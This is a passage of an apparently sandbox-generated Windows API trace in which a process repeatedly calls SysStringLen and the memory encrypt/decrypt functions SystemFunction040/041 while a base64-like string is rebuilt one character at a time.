returned 0x18 [0133.649] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\x217a\x9fa5\x8ba9\x1b31\x54f2\xb276\x276f\x4c32") returned 0x18 [0133.649] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.649] SysStringLen (param_1="yIh/ht/5EQudbyXg1Zퟠ돢瑄堅濇䚻") returned 0x18 [0133.649] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.649] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb4b8\xc0a4\xdc2a\x91ed\xe092\xdf73\x3555\x9b33") returned 0x18 [0133.649] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb4b8\xc0a4\xdc2a\x91ed\xe092\xdf73\x3555\x9b33") returned 0x18 [0133.649] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.649] SysStringLen (param_1="yIh/ht/5EQudbyXg1Zk돢瑄堅濇䚻") returned 0x18 [0133.649] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.649] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xf9a9\xc52c\xfe46\xc65e\x9c61\x85ea\xbfb\x8b73") returned 0x18 [0133.649] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xf9a9\xc52c\xfe46\xc65e\x9c61\x85ea\xbfb\x8b73") returned 0x18 [0133.649] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.650] SysStringLen (param_1="yIh/ht/5EQudbyXg1Zkh瑄堅濇䚻") returned 0x18 [0133.650] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.650] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\x5c17\x3141\xc5b1\xa20c\x5c14\xda45\x7704\x76") returned 0x18 [0133.650] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\x5c17\x3141\xc5b1\xa20c\x5c14\xda45\x7704\x76") returned 0x18 [0133.650] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.650] SysStringLen (param_1="yIh/ht/5EQudbyXg1Zkhu堅濇䚻") returned 0x18 [0133.650] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.650] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xa73b\x2d7\xc9d8\xe5da\x130e\x74b2\x1577\x8724") returned 0x18 [0133.650] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xa73b\x2d7\xc9d8\xe5da\x130e\x74b2\x1577\x8724") returned 0x18 [0133.650] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.650] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW濇䚻") returned 0x18 [0133.650] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.650] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\x7158\xc027\x1bbd\x94ee\x7aec\xea1c\xca59\x4758") returned 0x18 [0133.650] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\x7158\xc027\x1bbd\x94ee\x7aec\xea1c\xca59\x4758") returned 0x18 [0133.650] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.651] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5䚻") returned 0x18 [0133.651] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.651] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\x65e0\x4d74\xce73\x317d\xfbe5\x62f2\x93aa\x78d6") returned 0x18 [0133.651] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\x65e0\x4d74\xce73\x317d\xfbe5\x62f2\x93aa\x78d6") returned 0x18 [0133.651] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.651] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5s") returned 0x18 [0133.651] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.651] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3") returned 0x18 [0133.651] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3") returned 0x18 [0133.651] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3") returned 0x18 [0133.651] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3") returned 0x20 [0133.651] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.651] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5sq옼讳敞㥰") returned 0x20 [0133.651] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.651] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x657b\x637d\x4033\x7721\x3ebf\x54e4\x3589\x95d9") returned 0x20 [0133.651] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x657b\x637d\x4033\x7721\x3ebf\x54e4\x3589\x95d9") returned 0x20 [0133.651] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.652] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squ옼讳敞㥰") returned 0x20 [0133.652] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.652] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x742a\xa18b\x68a0\x7dc9\x8258\xf59b\x8974\xf3c3") returned 0x20 [0133.652] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x742a\xa18b\x68a0\x7dc9\x8258\xf59b\x8974\xf3c3") returned 0x20 [0133.652] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.652] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squu讳敞㥰") returned 0x20 [0133.652] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.652] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x74a7\xfb15\x685f\xe16\x274b\x4aa1\x456e\xda21") returned 0x20 [0133.652] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x74a7\xfb15\x685f\xe16\x274b\x4aa1\x456e\xda21") returned 0x20 [0133.652] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.652] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK敞㥰") returned 0x20 [0133.652] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.652] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x3a17\x6564\xe89f\x5045\xfbc2\x2b62\xff7c\xe54e") returned 0x20 [0133.652] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x3a17\x6564\xe89f\x5045\xfbc2\x2b62\xff7c\xe54e") returned 0x20 [0133.652] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.653] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4敞㥰") returned 0x20 [0133.653] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.653] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x6338\xec89\x2ed9\x4a81\x9899\xf09f\x2f7e\xa12b") returned 0x20 [0133.653] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x6338\xec89\x2ed9\x4a81\x9899\xf09f\x2f7e\xa12b") returned 0x20 [0133.653] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.653] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4s敞㥰") returned 0x20 [0133.653] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.653] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x79f2\x989d\x5c12\xf33f\x53fb\x7e19\x239\xf4d1") returned 0x20 [0133.653] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x79f2\x989d\x5c12\xf33f\x53fb\x7e19\x239\xf4d1") returned 0x20 [0133.653] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.653] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJ㥰") returned 0x20 [0133.653] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.653] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x55a4\xa68b\x1ca0\xc7f2\xa23f\x8d60\x5f94\x40b2") returned 0x20 [0133.653] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x55a4\xa68b\x1ca0\xc7f2\xa23f\x8d60\x5f94\x40b2") returned 0x20 [0133.653] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.653] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJl") returned 0x20 [0133.653] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.654] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247") returned 0x20 [0133.654] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247") returned 0x20 [0133.654] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247") returned 0x20 [0133.654] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x5a\x69\x72\x59\x74\x30\x58\x74") returned 0x28 [0133.654] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.654] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJl7㴻૭㺲丯᱆씻䏼") returned 0x28 [0133.654] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.654] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x991e\x7032\x2a88\x597e\xd4a2\x3120\x6a2a\x8349") returned 0x28 [0133.654] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x991e\x7032\x2a88\x597e\xd4a2\x3120\x6a2a\x8349") returned 0x28 [0133.654] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.654] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJl7u૭㺲丯᱆씻䏼") returned 0x28 [0133.654] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.654] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\xb3ed\x4e2f\xa015\xc711\x67db\xef78\xa35\xe845") returned 0x28 [0133.654] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\xb3ed\x4e2f\xa015\xc711\x67db\xef78\xa35\xe845") returned 0x28 [0133.654] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.655] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJl7uu㺲丯᱆씻䏼") returned 0x28 [0133.655] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.655] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\xe090\xd3ba\x6f5d\x32a4\x80a7\x67cc\x86bc\x85c9") returned 0x28 [0133.655] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\xe090\xd3ba\x6f5d\x32a4\x80a7\x67cc\x86bc\x85c9") returned 0x28 [0133.655] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.655] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJl7uun丯᱆씻䏼") returned 0x28 [0133.655] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.655] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x913b\x803c\x530c\xa371\x8bfd\xbe62\x4e65\x5a9f") returned 0x28 [0133.655] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x913b\x803c\x530c\xa371\x8bfd\xbe62\x4e65\x5a9f") returned 0x28 [0133.655] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.655] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJl7uunP᱆씻䏼") returned 0x28 [0133.655] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.655] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\xc396\x7218\x4311\xbcbf\x7ab5\x176c\x7d7\x2518") returned 0x28 [0133.655] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\xc396\x7218\x4311\xbcbf\x7ab5\x176c\x7d7\x2518") returned 0x28 [0133.655] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.655] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJl7uunP/씻䏼") returned 0x28 [0133.655] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.656] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\xfce4\x7033\x5f03\x17df\xee5a\xa088\xe6e4\xa6cb") returned 0x28 [0133.656] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\xfce4\x7033\x5f03\x17df\xee5a\xa088\xe6e4\xa6cb") returned 0x28 [0133.656] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.656] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJl7uunP/K䏼") returned 0x28 [0133.656] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.656] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x3a8e\x8423\x7941\x5412\x7a09\xbe64\xa966\xed7e") returned 0x28 [0133.656] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x3a8e\x8423\x7941\x5412\x7a09\xbe64\xa966\xed7e") returned 0x28 [0133.656] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.656] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJl7uunP/Kz") returned 0x28 [0133.656] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.656] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x597f\x990f\x100b\x2534\x1aea\x31de\x5d33\x2c6b") returned 0x28 [0133.656] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x597f\x990f\x100b\x2534\x1aea\x31de\x5d33\x2c6b") returned 0x28 [0133.656] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x597f\x990f\x100b\x2534\x1aea\x31de\x5d33\x2c6b") returned 0x28 [0133.656] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x597f\x990f\x100b\x2534\x1aea\x31de\x5d33\x2c6b") returned 0x30 [0133.656] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.657] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJl7uunP/KzO餥捃␲╋ᣈᲸ") returned 0x30 [0133.657] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.657] SysStringLen 